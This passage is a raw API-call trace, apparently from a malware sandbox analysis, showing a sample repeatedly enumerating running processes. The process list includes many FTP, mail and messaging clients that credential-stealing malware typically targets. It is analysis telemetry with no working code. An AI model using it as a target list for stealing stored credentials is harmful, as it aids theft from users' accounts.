cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0232.249] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.251] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0232.253] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0232.255] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.297] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0232.299] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0232.301] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0232.303] CloseHandle (hObject=0x2064) returned 1 [0232.303] Sleep (dwMilliseconds=0x64) [0232.304] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0232.316] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.318] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.319] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.321] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.323] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.325] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.326] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.328] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.329] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.331] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.333] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.336] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.337] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.339] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.373] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.375] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.377] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.378] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.380] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.381] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.383] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0232.385] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.386] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.388] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0232.390] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0232.391] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0232.393] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0232.394] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0232.396] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0232.398] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0232.399] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.401] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.403] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0232.404] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.406] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0232.408] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0232.409] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0232.411] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0232.413] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0232.416] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0232.418] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0232.419] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0232.421] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0232.422] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0232.424] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0232.426] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0232.428] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0232.429] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0232.431] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0232.433] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0232.474] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0232.476] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0232.478] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0232.480] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0232.481] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0232.483] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0232.485] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0232.487] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0232.489] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0232.491] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0232.493] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0232.495] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0232.497] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0232.499] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0232.501] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0232.503] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0232.506] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0232.508] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0232.510] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0232.513] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0232.516] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0232.519] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0232.521] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0232.523] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0232.525] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0232.527] 